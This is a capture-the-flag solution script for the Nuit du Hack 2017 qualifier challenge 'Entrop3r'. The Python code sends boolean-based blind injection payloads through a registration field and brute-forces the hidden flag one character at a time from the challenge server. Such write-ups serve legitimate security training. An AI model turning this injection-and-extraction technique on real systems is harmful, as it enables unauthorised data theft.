Nuit du hack 2017 Quals - Entrop3r (pwn 300)

Entrop3r.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket
import sys
import string
import time

def recv_until(s, data):
	res = ""
	while data not in res:
		res += s.recv(1024)
	return res

# python sol.py "admin' and len(@.password) > 76 and 'a' is 'a"
# password of the admin is 76 chars

def send_password(char, position):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(("entrop3r.quals.nuitduhack.com", 31337))
	recv_until(s, "~ »")
	s.send("debug\n")
	recv_until(s, "~ »")
	s.send("register\n")
	recv_until(s, "Username # ")
	payload = "admin' and slice(@.flag, [%d,%d]) is '%c' and 'a' is 'a" % (position, position+1, char)
	s.send(payload+"\n")
	res =  s.recv(1024*10)
	s.close()
	return res




def main():
	for i in xrange(100): ## I did not get the count of the flag so I will assume it will not be > 100
		print "Trying position: %d" %(i)
		for val in string.printable:
			# time.sleep(0.2)
			res = send_password(val, i)
			if "'a' is 'a already exists" in res:
				print val
				break


if __name__ == '__main__':
	main()